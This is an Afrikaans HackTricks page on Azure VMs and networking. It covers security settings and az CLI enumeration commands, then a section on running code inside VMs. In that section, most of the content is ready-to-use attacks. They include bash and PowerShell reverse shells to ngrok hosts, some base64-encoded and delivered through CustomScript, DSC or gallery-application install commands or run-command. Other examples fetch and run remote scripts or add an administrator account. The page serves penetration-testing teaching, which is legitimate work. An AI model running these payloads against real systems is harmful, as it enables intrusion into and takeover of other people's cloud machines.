Az - Virtual Machines & Network

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Ondersteun HackTricks

Kyk na die subskripsie planne!
Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
Deel hacking truuks deur PR's in te dien na die HackTricks en HackTricks Cloud github repos.

Azure Netwerk Basiese Inligting

Azure netwerke bevat verskillende entiteite en maniere om dit te konfigureer. Jy kan 'n kort beskrywing, voorbeelde en enumerasie opdragte van die verskillende Azure netwerk entiteite vind in:

Az - Azure Network

VMs Basiese inligting

Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag cloud-gebaseerde bedieners wat jou toelaat om Windows of Linux bedryfstelsels te draai. Hulle stel jou in staat om toepassings en werklas te ontplooi sonder om fisiese hardeware te bestuur. Azure VMs kan gekonfigureer word met verskillende CPU, geheue, en stoor opsies om spesifieke behoeftes te vervul en te integreer met Azure dienste soos virtuele netwerke, stoor, en sekuriteitsinstrumente.

Sekuriteitskonfigurasies

Beschikbaarheidsgebiede: Beschikbaarheidsgebiede is afsonderlike groepe datacenters binne 'n spesifieke Azure streek wat fisies geskei is om die risiko te minimaliseer dat verskeie gebiede deur plaaslike onderbrekings of rampe geraak word.
Sekuriteitstipe:
Standaard Sekuriteit: Dit is die standaard sekuriteitstipe wat nie enige spesifieke konfigurasie vereis nie.
Vertroude Ontplooiing: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernvlak malware deur Secure Boot en Virtual Trusted Platform Module (vTPM) te gebruik.
Vertroulike VMs: Bo-op 'n vertroude ontplooiing, bied dit hardeware-gebaseerde isolasie tussen die VM, hypervisor en gasheerbestuur, verbeter die skyfversleuteling en meer.
Verifikasie: Standaard word 'n nuwe SSH-sleutel gegenereer, alhoewel dit moontlik is om 'n publieke sleutel te gebruik of 'n vorige sleutel te gebruik en die gebruikersnaam is standaard azureuser. Dit is ook moontlik om te konfigureer om 'n wagwoord te gebruik.
VM skyfversleuteling: Die skyf is standaard versleuteld wanneer dit rus met 'n platform bestuurde sleutel.
Dit is ook moontlik om Versleuteling by die gasheer in te skakel, waar die data in die gasheer versleuteld sal word voordat dit na die stoor diens gestuur word, wat 'n einde-tot-einde versleuteling tussen die gasheer en die stoor diens verseker (docs).
NIC netwerk sekuriteitsgroep:
Geen: Basies elke poort oopmaak
Basies: Laat toe om die inkomende poorte HTTP (80), HTTPS (443), SSH (22), RDP (3389) maklik oop te maak
Geavanceerd: Kies 'n sekuriteitsgroep
Rugsteun: Dit is moontlik om Standaard rugsteun (een per dag) en Verbeterde (meerdere per dag) in te skakel
Patching orkestrasie opsies: Dit stel in staat om outomaties opdaterings in die VMs toe te pas volgens die geselekteerde beleid soos beskryf in die docs.
Waarskuwings: Dit is moontlik om outomaties waarskuwings per e-pos of mobiele toepassing te ontvang wanneer iets in die VM gebeur. Standaard reëls:
Persentasie CPU is groter as 80%
Beskikbare Geheue Bytes is minder as 1GB
Data Skywe IOPS Verbruikte Persentasie is groter as 95%
OS IOPS Verbruikte Persentasie is groter as 95%
Netwerk in Totaal is groter as 500GB
Netwerk Uit Totaal is groter as 200GB
VmAvailabilityMetric is minder as 1
Gesondheidsmonitor: Standaard kontrole protokol HTTP op poort 80
Slotte: Dit laat toe om 'n VM te sluit sodat dit net gelees kan word (ReadOnly slot) of dit kan gelees en opgedateer word maar nie verwyder word nie (CanNotDelete slot).
Meeste VM verwante hulpbronne ondersteun ook slotte soos skywe, snappings...
Slotte kan ook toegepas word op hulpbron groep en subskripsie vlakke

Skywe & snappings

Dit is moontlik om 'n skyf aan 2 of meer VMs te koppel
Standaard is elke skyf versleuteld met 'n platform sleutel.
Dieselfde in snappings
Standaard is dit moontlik om die skyf van alle netwerke te deel, maar dit kan ook beperk word tot slegs sekere privaat toegang of om publieke en private toegang heeltemal te deaktiveer.
Dieselfde in snappings
Dit is moontlik om 'n SAS URI (maks 60 dae) te genereer om die skyf te eksporteer, wat gekonfigureer kan word om verifikasie te vereis of nie
Dieselfde in snappings

# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Beelde, Galery Beelde & Herstelpunte

'n VM beeld is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n nuwe virtuele masjien (VM) te skep. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld meerdere skywe kan bevat en ontwerp is om as 'n sjabloon te dien vir die skep van nuwe VM's. Beelde kan bestuur word in die Beelde afdeling van Azure of binne Azure rekenaar galerye wat dit moontlik maak om weergawe te genereer en die beeld oor huurders te deel of selfs dit publiek te maak.

'n herstelpunt stoor die VM-konfigurasie en punt-in-tyd toepassings-konsistente snapshots van al die bestuurde skywe wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was in daardie spesifieke punt in tyd.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

Van die docs: Site Recovery help om besigheidskontinuitiet te verseker deur besigheidsprogramme en werklas te laat loop tydens onderbrekings. Site Recovery repliceer werklas wat op fisiese en virtuele masjiene (VM's) draai van 'n primêre plek na 'n sekondêre ligging. Wanneer 'n onderbreking by jou primêre plek plaasvind, kan jy oor na 'n sekondêre ligging, en toegang tot programme van daar. Nadat die primêre ligging weer aan die gang is, kan jy terugkeer na dit.

Azure Bastion

Azure Bastion stel veilige en naatlose Remote Desktop Protocol (RDP) en Secure Shell (SSH) toegang tot jou virtuele masjiene (VM's) direk deur die Azure Portal of via 'n jump box. Deur die behoefte aan publieke IP adresse op jou VM's te verwyder.

Die Bastion ontplooi 'n subnet genaamd AzureBastionSubnet met 'n /26 netmask in die VNet waarin dit moet werk. Dan, dit laat toe om verbinding te maak met interne VM's deur die blaaiers met behulp van RDP en SSH en vermy om poorte van die VM's aan die Internet bloot te stel. Dit kan ook as 'n jump host werk.

Om al die Azure Bastion Hosts in jou subskripsie te lys en met VM's deur hulle te verbind, kan jy die volgende opdragte gebruik:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Die Azure Instance Metadata Service (IMDS) verskaf inligting oor lopende virtuele masjieninstansies om te help met hul bestuur en konfigurasie. Dit bied besonderhede soos die SKU, stoor, netwerk konfigurasies, en inligting oor komende onderhoudsgeleenthede via REST API beskikbaar by die nie-routable IP adres 169.254.169.254, wat slegs vanaf binne die VM toeganklik is. Kommunikasie tussen die VM en IMDS bly binne die gasheer, wat veilige toegang verseker. Wanneer daar na IMDS gevra word, moet HTTP-kliënte binne die VM web-proxies omseil om behoorlike kommunikasie te verseker.

Boonop, om die metadata-eindpunt te kontak, moet die HTTP-versoek die koptekst Metadata: true hê en mag nie die koptekst X-Forwarded-For hê nie.

Kyk hoe om dit te enumerate in:

Cloud SSRF | HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

Kode-uitvoering in VM's

VM-uitbreidings

Azure VM-uitbreidings is klein toepassings wat post-implementasie konfigurasie en outomatisering take op Azure virtuele masjiene (VM's) bied.

Dit sal toelaat om arbitraire kode binne VM's uit te voer.

Die vereiste toestemming is Microsoft.Compute/virtualMachines/extensions/write.

Dit is moontlik om al die beskikbare uitbreidings te lys met:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

Dit is moontlik om aangepaste uitbreidings te loop wat aangepaste kode uitvoer:

Voer 'n terugshell uit

# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'

Voer 'n skrip uit wat op die internet geleë is

az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Voer 'n omgekeerde skulp uit

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Execute it
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{}' \
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'

Voer omgekeerde skulp uit vanaf lêer

az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScriptExtension \
--publisher Microsoft.Compute \
--version 1.10 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'

Jy kan ook ander payloads uitvoer soos: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add

Herstel wagwoord met behulp van die VMAccess uitbreiding

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred

Relevante VM-uitbreidings

Die vereiste toestemming is steeds Microsoft.Compute/virtualMachines/extensions/write.

VMAccess-uitbreiding

Hierdie uitbreiding maak dit moontlik om die wagwoord te wysig (of te skep as dit nie bestaan nie) van gebruikers binne Windows VM's.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred

DesiredConfigurationState (DSC)

Dit is 'n VM-uitbreiding wat aan Microsoft behoort en PowerShell DSC gebruik om die konfigurasie van Azure Windows VMs te bestuur. Daarom kan dit gebruik word om arbitraire opdragte in Windows VMs deur hierdie uitbreiding uit te voer:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'

Hibriede Runbook Arbeider

Dit is 'n VM-uitbreiding wat die uitvoering van runbooks in VM's vanuit 'n outomatiseringsrekening moontlik maak. Vir meer inligting, kyk na die Outomatiseringsrekeninge diens.

VM Toepassings

Dit is pakkette met al die toepassingdata en installasie- en de-installasieskripte wat gebruik kan word om maklik toepassings in VM's by te voeg en te verwyder.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Hierdie is die paaie waar die toepassings binne die lêerstelsel afgelaai word:

Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Kyk hoe om nuwe toepassings te installeer in https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Dit is moontlik om individuele toepassings en galerye met ander subskripsies of huurders te deel. Wat baie interessant is omdat dit 'n aanvaller in staat kan stel om 'n agterdeur in 'n toepassing te plaas en na ander subskripsies en huurders te pivot.

Maar daar is nie 'n "markplek" vir vm toepassings soos daar is vir uitbreidings nie.

Die vereiste toestemmings is:

Microsoft.Compute/galleries/applications/write
Microsoft.Compute/galleries/applications/versions/write
Microsoft.Compute/virtualMachines/write
Microsoft.Network/networkInterfaces/join/action
Microsoft.Compute/disks/write

Eksploitasiem voorbeeld om arbitrêre opdragte uit te voer:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

# Create gallery (if the isn't any)
az sig create --resource-group <rsc-group> \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Windows \
--location "West US 2"

# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
az sig gallery-application version create \
--version-name 1.0.0 \
--application-name myReverseShellAppWin \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
--update-command "powershell.exe -EncodedCommand $encodedCommand"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name deleteme-win4 \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
--treat-deployment-as-failure true

Gebruikersdata

Dit is volhardende data wat enige tyd van die metadata-eindpunt verkry kan word. Let daarop dat gebruikersdata in Azure verskil van AWS en GCP omdat as jy 'n skrip hier plaas, dit nie standaard uitgevoer word nie.

Pasgemaakte data

Dit is moontlik om 'n paar data aan die VM deur te gee wat in verwagte paaie gestoor sal word:

In Windows word pasgemaakte data in %SYSTEMDRIVE%\AzureData\CustomData.bin as 'n binêre lêer geplaas en dit word nie verwerk nie.
In Linux is dit gestoor in /var/lib/waagent/ovf-env.xml en nou is dit gestoor in /var/lib/waagent/CustomData/ovf-env.xml
Linux-agent: Dit verwerk nie pasgemaakte data standaard nie, 'n pasgemaakte beeld met die data geaktiveer is nodig
cloud-init: Standaard verwerk dit pasgemaakte data en hierdie data mag in verskeie formate wees. Dit kan 'n skrip maklik uitvoer deur net die skrip in die pasgemaakte data te stuur.
Ek het probeer dat beide Ubuntu en Debian die skrip uitvoer wat jy hier plaas.
Dit is ook nie nodig om gebruikersdata te aktiveer vir dit om uitgevoer te word nie.

#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Voer Opdrag Uit

Dit is die mees basiese mechanisme wat Azure bied om arbitraire opdragte in VMs uit te voer. Die nodige toestemming is Microsoft.Compute/virtualMachines/runCommand/action.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

